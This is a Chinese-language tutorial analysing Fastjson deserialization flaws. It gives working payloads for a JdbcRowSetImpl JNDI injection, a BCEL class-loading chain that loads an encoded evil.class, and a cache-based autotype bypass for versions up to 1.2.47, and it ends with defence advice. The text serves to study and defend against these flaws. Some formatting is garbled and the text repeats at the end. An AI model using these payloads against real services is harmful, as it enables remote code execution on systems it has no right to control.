Java安全——fastjson反序列化分析
字数 1189 2025-08-29 22:41:38

Fastjson反序列化漏洞分析与利用

1. Fastjson基础流程分析

Fastjson将字符串转化为Java对象本质上是一个反序列化的过程:

  1. 字符串解析阶段

    • DefaultJSONParser类中将字符串进行分割
    • ParseConfig类中通过getDeserializer获取反序列化器
  2. 自定义类处理

    • 对于自定义类,Fastjson会认为是JavaBean对象
    • 通过createJavaBeanDeserializer方法进行反序列化
    • 默认开启asmEnable,使用asmFactory.createJavaBeanDeserializer
  3. 关键调试技巧

    • 在类中添加Map属性并提供get方法可使asmEnable置为false
    • 便于调试进入JavaBeanDeserializer
  4. 方法调用机制

    • FieldInfo类通过反射调用get/set方法
    • 示例中Map属性无set方法时,会调用get方法

2. 基础利用实验

2.1 测试类示例

public class Person {
    private String name;
    private int age;
    private Map map;
    
    // 构造方法省略
    
    public Map getMap() {
        System.out.println("调用getMap方法");
        return map;
    }
    
    // 其他getter/setter省略
}

2.2 测试代码

public class JSONUser {
    public static void main(String[] args) {
        String s = "{\"@type\":\"Person\",\"name\":\"aaa\",\"age\":\"12\",\"map\":{}}";
        final JSONObject parse = JSON.parseObject(s);
        System.out.println(parse);
    }
}

2.3 恶意类示例

public class Test {
    private String cmd;
    
    public void setCmd(String cmd) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

3. Fastjson攻击链分析

3.1 JdbcRowSetImpl攻击链(出网利用)

限制条件

  • 版本限制
  • 依赖限制
  • 需要出网

利用原理

  1. JdbcRowSetImpl类存在JNDI注入漏洞
  2. 满足Fastjson反序列化条件:
    • 属性为public
    • 或有set方法
    • 或为Map/Collection/Atomic类型

关键调用链

  • setAutoCommit -> connect -> JNDI注入

POC示例

public class FastJsonRowSetImpl {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}";
        JSON.parseObject(s);
    }
}

3.2 BCEL攻击链(不出网利用)

利用原理

  1. BCEL类中的ClassLoaderloadClass方法
  2. 当类名以`

\[BCEL \]

`开头时会创建该类

关键类

  • BasicDataSource中的createConnectionFactory方法
  • 最终通过getConnection触发

POC示例

public class FastJsonBCEL {
    public static void main(String[] args) throws Exception {
        byte[] classBytes = Files.readAllBytes(Paths.get("evil.class"));
        final String code = Utility.encode(classBytes, true);
        
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"
$$
BCEL
$$
"+code+"\",\"driverClassLoader\":{\"@type\":\"sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSON.parseObject(s);
    }
}

4. Fastjson ≤1.2.47利用链

4.1 版本限制绕过

绕过原理

  1. Fastjson 1.2.25+增加了autotype检测
  2. 利用缓存机制绕过:
    • TypeUtils.getClassFromMapping从缓存中查找类
    • 通过TypeUtils.loadClass加载恶意类到缓存

POC示例

public class fastjson_1247 {
    public static void main(String[] args) {
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}}";
        JSON.parseObject(s);
    }
}

5. 防御建议

  1. 升级到最新安全版本
  2. 关闭autotype功能
  3. 使用白名单机制限制反序列化类
  4. 对输入进行严格过滤

6. 总结

Fastjson反序列化漏洞的核心在于:

  • 通过@type指定恶意类
  • 利用类中的getter/setter方法或特定属性触发漏洞
  • 结合JNDI、BCEL等机制实现RCE
  • 高版本通过缓存机制绕过autotype检测
Fastjson反序列化漏洞分析与利用 1. Fastjson基础流程分析 Fastjson将字符串转化为Java对象本质上是一个反序列化的过程: 字符串解析阶段 : 在 DefaultJSONParser 类中将字符串进行分割 在 ParseConfig 类中通过 getDeserializer 获取反序列化器 自定义类处理 : 对于自定义类,Fastjson会认为是JavaBean对象 通过 createJavaBeanDeserializer 方法进行反序列化 默认开启 asmEnable ,使用 asmFactory.createJavaBeanDeserializer 关键调试技巧 : 在类中添加 Map 属性并提供 get 方法可使 asmEnable 置为false 便于调试进入 JavaBeanDeserializer 类 方法调用机制 : FieldInfo 类通过反射调用get/set方法 示例中 Map 属性无set方法时,会调用get方法 2. 基础利用实验 2.1 测试类示例 2.2 测试代码 2.3 恶意类示例 3. Fastjson攻击链分析 3.1 JdbcRowSetImpl攻击链(出网利用) 限制条件 : 版本限制 依赖限制 需要出网 利用原理 : JdbcRowSetImpl 类存在JNDI注入漏洞 满足Fastjson反序列化条件: 属性为public 或有set方法 或为Map/Collection/Atomic类型 关键调用链 : setAutoCommit -> connect -> JNDI注入 POC示例 : 3.2 BCEL攻击链(不出网利用) 利用原理 : BCEL类中的 ClassLoader 有 loadClass 方法 当类名以 $$BCEL$$ 开头时会创建该类 关键类 : BasicDataSource 中的 createConnectionFactory 方法 最终通过 getConnection 触发 POC示例 : 4. Fastjson ≤1.2.47利用链 4.1 版本限制绕过 绕过原理 : Fastjson 1.2.25+增加了autotype检测 利用缓存机制绕过: TypeUtils.getClassFromMapping 从缓存中查找类 通过 TypeUtils.loadClass 加载恶意类到缓存 POC示例 : 5. 防御建议 升级到最新安全版本 关闭autotype功能 使用白名单机制限制反序列化类 对输入进行严格过滤 6. 总结 Fastjson反序列化漏洞的核心在于: 通过 @type 指定恶意类 利用类中的getter/setter方法或特定属性触发漏洞 结合JNDI、BCEL等机制实现RCE 高版本通过缓存机制绕过autotype检测